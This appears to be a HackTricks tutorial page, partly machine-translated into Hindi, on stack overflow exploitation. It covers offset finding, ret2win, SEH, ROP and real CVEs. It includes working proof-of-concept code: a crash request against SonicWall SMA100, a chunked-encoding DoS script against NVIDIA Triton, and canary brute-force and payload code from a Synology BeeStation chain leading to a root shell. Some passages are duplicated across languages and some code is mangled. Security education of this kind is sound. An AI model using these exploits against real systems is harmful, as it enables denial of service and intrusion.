Stack Overflow

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Stack Overflow क्या है

A stack overflow एक vulnerability है जो तब होती है जब कोई प्रोग्राम stack पर उस से अधिक डेटा लिख देता है जितना उसके लिए आवंटित किया गया होता है। यह अतिरिक्त डेटा पड़ोसी मेमोरी स्पेस को ओवरराइट कर देगा, जिससे वैध डेटा का भ्रष्ट होना, control flow में व्यवधान और संभावित रूप से malicious code का execution हो सकता है। यह समस्या अक्सर unsafe functions के उपयोग के कारण आती है जो input पर bounds checking नहीं करते।

इस overwrite की मुख्य समस्या यह है कि saved instruction pointer (EIP/RIP) और saved base pointer (EBP/RBP) जो पिछले फ़ंक्शन पर लौटने के लिए होते हैं, stack पर स्टोर होते हैं। इसलिए, एक attacker उनको ओवरराइट कर सकेगा और प्रोग्राम के निष्पादन प्रवाह को नियंत्रित कर सकता है

यह vulnerability आमतौर पर तब उत्पन्न होती है जब कोई function stack के अंदर उसके लिए आवंटित मात्रा से अधिक बाइट्स कॉपी कर देता है, जिससे वह stack के अन्य हिस्सों को ओवरराइट कर सके।

इसमें आमतौर पर प्रभावित होने वाले कुछ सामान्य functions हैं: strcpy, strcat, sprintf, gets… इसके अलावा, ऐसे functions जैसे fgets, read & memcpy जो एक length argument लेते हैं, यदि निर्दिष्ट लंबाई आवंटित मात्रा से अधिक हो तो vulnerable तरीके से उपयोग किए जा सकते हैं।

उदाहरण के लिए, निम्नलिखित functions कमजोर हो सकते हैं:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Stack Overflows offsets खोजना

Stack overflows खोजने का सबसे आम तरीका बहुत बड़ा A इनपुट देना है (उदा. python3 -c 'print("A"*1000)') और उम्मीद करना कि Segmentation Fault आए, जो संकेत देता है कि address 0x41414141 तक पहुँचने की कोशिश की गई थी

इसके अलावा, एक बार जब आप पाते हैं कि कोई Stack Overflow vulnerability मौजूद है तो आपको वह offset पता करना होगा जिससे आप return address को overwrite कर सकें। इसके लिए आम तौर पर एक De Bruijn sequence का उपयोग किया जाता है। यह, किसी दिए गए alphabet के आकार k और subsequences की लंबाई n के लिए, एक cyclic sequence है जिसमें हर संभव subsequence जिसकी लंबाई n है, वह बिल्कुल एक बार contiguous subsequence के रूप में आता है।

इस तरह, हाथ से यह पता लगाने के बजाय कि EIP को control करने के लिए कौन सा offset चाहिए, आप padding के रूप में इन sequences में से किसी एक का उपयोग कर सकते हैं और फिर उन bytes का offset ढूँढ सकते हैं जिन्होंने उसे overwrite कर दिया।

इसके लिए pwntools का उपयोग किया जा सकता है:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

या GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Exploiting Stack Overflows

During an overflow (supposing the overflow size if big enough) you will be able to overwrite values of local variables inside the stack until reaching the saved EBP/RBP and EIP/RIP (or even more).
सबसे सामान्य तरीका इस प्रकार की vulnerability का दुरुपयोग करने का यह है कि modifying the return address ताकि जब फ़ंक्शन खत्म हो तो control flow will be redirected wherever the user specified in this pointer।

However, in other scenarios maybe just overwriting some variables values in the stack might be enough for the exploitation (like in easy CTF challenges).
हालांकि, अन्य परिस्थितियों में शायद केवल stack में कुछ variables के मानों को overwriting some variables values in the stack करना exploitation के लिए पर्याप्त हो सकता है (जैसे आसान CTF challenges में)।

Ret2win

In this type of CTF challenges, there is a function inside the binary that is never called and that you need to call in order to win. For these challenges you just need to find the offset to overwrite the return address and find the address of the function to call (usually ASLR would be disabled) so when the vulnerable function returns, the hidden function will be called:

Ret2win

Stack Shellcode

In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.

32-bit Windows पर, एक overflow saved return address की बजाय Structured Exception Handler (SEH) chain को overwrite कर सकता है। Exploitation आमतौर पर SEH pointer को एक POP POP RET gadget से replace करता है और 4-byte nSEH field का उपयोग एक short jump के लिए करता है ताकि वह बड़े buffer में pivot कर सके जहाँ shellcode मौजूद है। एक सामान्य पैटर्न यह है कि nSEH में एक short jmp होता है जो उस 5-byte near jmp पर land करता है जो nSEH के ठीक पहले रखा गया होता है, ताकि payload की शुरुआत पर सैकड़ों bytes वापस jump किया जा सके।

Windows Seh Overflow

ROP & Ret2… techniques

This technique is the fundamental framework to bypass the main protection to the previous technique: No executable stack (NX). And it allows to perform several other techniques (ret2lib, ret2syscall…) that will end executing arbitrary commands by abusing existing instructions in the binary:

यह technique उस मुख्य सुरक्षा को bypass करने का बुनियादी framework है जो पिछले technique में लागू होती है: No executable stack (NX)। और यह कई अन्य तकनीकों (ret2lib, ret2syscall…) को करने की अनुमति देता है जो binary में मौजूद existing instructions को abuse करके arbitrary commands execute करा देंगी:

ROP & JOP

Heap Overflows

An overflow is not always going to be in the stack, it could also be in the heap for example:

overflow हमेशा stack में नहीं होगा, यह उदाहरण के लिए heap में भी हो सकता है:

Heap Overflow

सुरक्षा के प्रकार

There are several protections trying to prevent the exploitation of vulnerabilities, check them in:

वulnerabilities के exploitation को रोकने के लिये कई protections मौजूद हैं, इन्हें देखें:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

A good demonstration of why sscanf should never be trusted for parsing untrusted input appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance. The vulnerable routine inside /usr/src/EasyAccess/bin/httpd attempts to extract the version and endpoint from any URI that begins with /__api__/:

यह दिखाने के लिये एक अच्छा उदाहरण कि **sscanf should never be trusted for parsing untrusted input** 2025 में SonicWall के SMA100 SSL-VPN appliance में सामने आया।\ /usr/src/EasyAccess/bin/httpdके अंदर मौजूद vulnerable routine किसी भी URI से जो/api/` से शुरू होता है, version और endpoint निकालने की कोशिश करता है:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. पहला रूपांतरण (%2s) version में सुरक्षित रूप से दो bytes संग्रहीत करता है (उदा. "v1").
  2. दूसरा रूपांतरण (%s) कोई length specifier नहीं है, इसलिए sscanf पहली NUL byte तक कॉपी करता रहेगा।
  3. क्योंकि endpoint stack पर स्थित है और 0x800 bytes long है, 0x800 bytes से लंबा path देने पर buffer के बाद जो कुछ भी है वह भ्रष्ट हो जाता है — जिसमें stack canary और saved return address शामिल हैं।

एक single-line proof-of-concept क्रैश को प्रमाणीकरण से पहले ट्रिगर करने के लिए पर्याप्त है:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Even though stack canaries abort the process, an attacker still gains a Denial-of-Service primitive (and, with additional information leaks, possibly code-execution).

वास्तविक-विश्व उदाहरण: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06) में उसके HTTP API के जरिए पहुँचने योग्य कई stack-based overflows मौजूद थे। कमजोर पैटर्न बार-बार http_server.cc और sagemaker_server.cc में देखा गया:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) वर्तमान HTTP अनुरोध बॉडी को बनाने वाले आंतरिक बफ़र सेगमेंटों की संख्या लौटाता है।
  2. प्रत्येक सेगमेंट के कारण 16-byte evbuffer_iovec alloca() के माध्यम से stack पर आवंटित होता है – कोई ऊपरी सीमा नहीं
  3. By abusing HTTP chunked transfer-encoding, एक client अनुरोध को सैकड़ों-हज़ार 6-byte chunks ("1\r\nA\r\n") में बाँटने के लिए मजबूर कर सकता है। यह n को अनियंत्रित रूप से बढ़ाता है जब तक कि stack समाप्त न हो जाए।

Proof-of-Concept (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
एक ~3 MB request default build पर saved return address को ओवरराइट करके **crash** करने के लिए पर्याप्त है और **daemon** को क्रैश कर सकता है।

### वास्तविक-उदाहरण: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

Synacktiv के Pwn2Own 2025 chain ने port 5000 पर `SYNO.BEE.AdminCenter.Auth` में एक pre-auth overflow का दुरुपयोग किया। `AuthManagerImpl::ParseAuthInfo` attacker input को Base64-decode करके 4096-byte के stack buffer में डालता है लेकिन गलत तरीके से `decoded_len = auth_info->len` सेट करता है। चूंकि CGI worker प्रति request fork होता है, हर child parent के stack canary को inherit करता है, इसलिए एक stable overflow primitive stack को corrupt करने और आवश्यक सभी secrets को leak करने के लिए पर्याप्त था।

#### Base64-decoded JSON as a structured overflow
Decoded blob valid JSON होना चाहिए और इसमें `"state"` और `"code"` keys शामिल होने चाहिए; अन्यथा, parser overflow उपयोगी होने से पहले ही throw कर देता है। Synacktiv ने इसे इस तरह हल किया: उन्होंने एक payload को Base64-encode किया जो decode होने पर JSON बनता है, फिर एक NUL बाइट, और फिर overflow stream होता है। `strlen(decoded)` NUL पर रुक जाता है इसलिए parsing सफल हो जाती है, लेकिन `SLIBCBase64Decode` पहले ही JSON object के बाद stack को overwrite कर चुका होता है, जिससे canary, saved RBP, और return address कवर हो जाते हैं।
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi प्रत्येक HTTP request पर fork करता है, इसलिए सभी बच्चे एक ही canary, stack layout, और PIE slide साझा करते हैं। Exploit HTTP status code को एक oracle की तरह उपयोग करता है: एक 200 response का मतलब है कि अनुमानित byte ने stack को सुरक्षित रखा, जबकि 502 (या एक dropped connection) का मतलब है कि process crash हो गया। Brute-forcing हर byte को क्रमिक रूप से करने से 8-byte canary, एक saved stack pointer, और libsynobeeadmincenter.so के अंदर एक return address हासिल होता है:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr केवल पुष्टि किए गए prefix को जोड़ते हुए bf_next_byte को आठ बार कॉल करता है। Synacktiv ने इन oracles को लगभग 16 worker threads के साथ समानांतर रूप से चलाकर कुल leak समय (canary + stack ptr + lib base) तीन मिनट से भी कम कर दिया।

leaks से ROP & execution

एक बार library base ज्ञात हो जाने पर, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) एक arb_write primitive बनाते हैं जो leaked stack address पर /bin/bash, -c, और attacker कमांड को स्टेज करता है। अंत में, chain SLIBCExecl के calling convention को सेट करता है (जो BeeStation का execl(2) wrapper है), जिससे अलग info-leak bug की ज़रूरत के बिना root shell मिलता है।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें